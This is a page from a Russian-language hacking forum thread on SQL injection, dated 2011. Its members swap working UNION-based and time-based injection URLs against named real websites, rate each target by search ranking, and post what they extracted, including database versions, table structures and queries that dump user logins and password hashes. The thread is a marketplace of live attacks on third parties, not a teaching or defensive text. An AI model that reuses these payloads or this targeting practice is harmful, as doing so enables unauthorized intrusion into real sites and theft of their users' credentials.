SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 720 of 798
  1. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    А так?)
    HTML:
    http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,column_name,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+information_schema.columns+where+table_name=0x57505f5553455253--+1
    Выводит пасс:
    HTML:
    http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,USER_PASS,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+timon_remstroynn.WP_USERS--+1
     
    #14381 tabletkO, 25 Nov 2011
    Last edited: 25 Nov 2011
  2. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Доступа нет к USER_PASS
     
    #14382 stepashka_, 25 Nov 2011
  3. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    просто таблица в другой базе лежит.
    http://board.holod-nnov.ru/ind.php?id_typ=-292+union+select+1,2,3,4,5,6,concat_ws(0x3a,user_login,user_pass),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1+from+timon_remstroynn.wp_users--
     
    #14383 d1v, 25 Nov 2011
    1 person likes this.
  4. kallstrom

    kallstrom Member

    Joined:
    19 Mar 2010
    Messages:
    36
    Likes Received:
    10
    Reputations:
    5
    MapLib.net - Make your custom Google Maps out of any pictures

    PR=5
    тИЦ=20
    Alexa=569,559
     
    #14384 kallstrom, 25 Nov 2011
  5. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    http://ledi.ru/news.php?id=223%20union%20all%20select%201,2,3,4,5,6--
    ТИЦ 100 пр=4
     
    #14385 BLurpi^_^, 25 Nov 2011
  6. kallstrom

    kallstrom Member

    Joined:
    19 Mar 2010
    Messages:
    36
    Likes Received:
    10
    Reputations:
    5
    Издательство «Учитель»
    Не надо было оставлять старую версию сайта! Через нее и получаем доступ к актуальной базе:

    PR=5
    тИЦ=140
    Alexa=2,098,739
     
    #14386 kallstrom, 25 Nov 2011
  7. PRosTo_LEva

    PRosTo_LEva Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    445
    Likes Received:
    130
    Reputations:
    106
    По твоим стопам! Спасибо за подсказку.. =)

    ТИЦ: 60
    Версия бд 4
    Ну и еще пару добрых и простых скулей)

    ТИЦ 150
    Версия базы 5

    ТИЦ10
    Версия базы 5 - читается классно.


    Вот (^^,) Бог завещал делиться?)))
     
    #14387 PRosTo_LEva, 26 Nov 2011
    Last edited: 26 Nov 2011
  8. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Ни много, ни мало - Хостинг

    Site:www.geromail.com

    PR=2
    Alexa=10 795 098

    Inject
    Code:
    _ttp://www.geromail.com/search.asp?cmd=Search+Scams/Virus&q=1234[COLOR=Magenta]'/**/and/**/'a'='a[/COLOR]
    Version:5.0.51a-community-nt
    Database:support
    User:support@localhost

    Крутил через Time-Based SQL, поэтому привожу структуру таблиц. чтоб никто зря не терял времени =)

    Структура таблиц

    cur
    Code:
    active
crat
cdec
csuf
cpre
cdsp
curr
id
    curhdr
    Code:
    upddte
curdte
id
    masq1
    Code:
    guid
vir
htm
msg
sbj
att
dat
shwfr
fr
frip
    masqdef
    Code:
    vdsc
vfix
vurl
vnam
    masqrem
    Code:
    cstt
crem
cmsg
crat
ccnt
ceml
cnam
cip
cdat
guid
id
    rip1s
    Code:
    cnts
dsp
cto
cfr
cnt
     
    _________________________
    #14388 BigBear, 26 Nov 2011
    2 people like this.
  9. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    VETWELLR_BOARD@LOCALHOST:5.0.92-COMMUNITY-LOG:VETWELLR_BOARD
     
    #14389 stepashka_, 26 Nov 2011
    1 person likes this.
  10. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Сервис прогона по каталогам
    HTML:
    http://christiantraffic.com/affiliateSignUp.phtml?ID=-1'+and+1=1+union+select+1,2,version(),4,5,6,7,8,user(),10,11,12,13,14,15,16,17,18--+1
     
    #14390 tabletkO, 27 Nov 2011
  11. kravch_v

    kravch_v Member

    Joined:
    1 Sep 2011
    Messages:
    134
    Likes Received:
    43
    Reputations:
    1
    Code:
    http://www.rovalis.com/menu.php?id=999999.9+UNION+ALL+SELECT+%28select+concat%280x7e%2C0x27%2C0x7233646D3076335F68766A5F696E6A656374696F6E%2C0x27%2C0x7e%29+limit+0%2C1%29%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536--
    База данных: rovalisnew2
     
    #14391 kravch_v, 27 Nov 2011
  12. kallstrom

    kallstrom Member

    Joined:
    19 Mar 2010
    Messages:
    36
    Likes Received:
    10
    Reputations:
    5
    FOX — Redefining Ride Dynamics

    PR=6
    тИЦ=50
    Alexa=139,870
     
    #14392 kallstrom, 27 Nov 2011
    1 person likes this.
  13. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://www.muptis.ru/news_podr.php?id=-28+Union+select+1,2,3,group_concat%28username,pwd%29+from+users+--+

    База данных научных публикаций в сфере информационных технологий :D
    Code:
    http://www.it-science.ru/index.php?page=journal&id=COMPUTERS+%26+MATHEMATICS+WITH+APPLICATIONS%27+and+1=0+union+select+1,group_concat%28table_name,0x3b%29,3,4,5+from+information_schema.tables+where+table_schema=database%28%29+--+
     
    #14393 shadowrun, 27 Nov 2011
  14. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    Code:
    http://www.vniispk.ru/apple.php?key=-106+union+select+1,2,3,(select+concat_ws(0x3a,user(),version(),database())),5+--+
    Яндекс тИЦ 70
    Google PageRank 3/10
     
    #14394 [stranger], 28 Nov 2011
  15. PRosTo_LEva

    PRosTo_LEva Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    445
    Likes Received:
    130
    Reputations:
    106
    тьфу.. =(


    Вот так тогда (Ход лошадью):

    версия базы 5
     
    #14395 PRosTo_LEva, 28 Nov 2011
    Last edited: 28 Nov 2011
  16. tabletkO

    tabletkO Banned

    Joined:
    3 Nov 2011
    Messages:
    83
    Likes Received:
    20
    Reputations:
    11
    Shop
    HTML:
    http://www.plcmusic.co.uk/plcshop_page.php?id=35+union+select+1,user(),version(),database(),5,6,7,8,9,10,table_name+from+information_schema.tables--+1
     
    #14396 tabletkO, 28 Nov 2011
  17. kallstrom

    kallstrom Member

    Joined:
    19 Mar 2010
    Messages:
    36
    Likes Received:
    10
    Reputations:
    5
    Дайверские фотки.

    PR=4
    тИЦ=10

    P.S.: Там 6000 баз, я офигел))
     
    #14397 kallstrom, 28 Nov 2011
    1 person likes this.
  18. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    4 символа
     
    #14398 OxoTnik, 28 Nov 2011
  19. kravch_v

    kravch_v Member

    Joined:
    1 Sep 2011
    Messages:
    134
    Likes Received:
    43
    Reputations:
    1
    Code:
    http://www.un.org/spanish/News/focus.asp?focusID=convert%28int%2Cdb_name%28%29+COLLATE+SQL_Latin1_General_Cp1254_CS_AS%29+and+1%3D1
    Юзер: spwebnews
    SQL Версия: Microsoft SQL Server 2000 - 8.00.760 (Intel X86)
    Dec 17 2002 14:22:05
    Copyright (c) 1988-2003 Microsoft Corporation
    Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
    База данных: SpanishNews
     
    #14399 kravch_v, 28 Nov 2011
  20. xxddz

    xxddz Elder - Старейшина

    Joined:
    2 Oct 2009
    Messages:
    706
    Likes Received:
    365
    Reputations:
    162
    PHP:
    http://new.yalta.ua/dosob/index.php?id_typ=1+union+select+1,2,3,4,5,777,concat_ws(0x3a,user(),version(),database()),8,5,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8+--+
    [email protected]:5.0.51A-LOG:NEW_DOSOB
     
    #14400 xxddz, 29 Nov 2011
    1 person likes this.
(You must log in or sign up to post here.)
Page 720 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.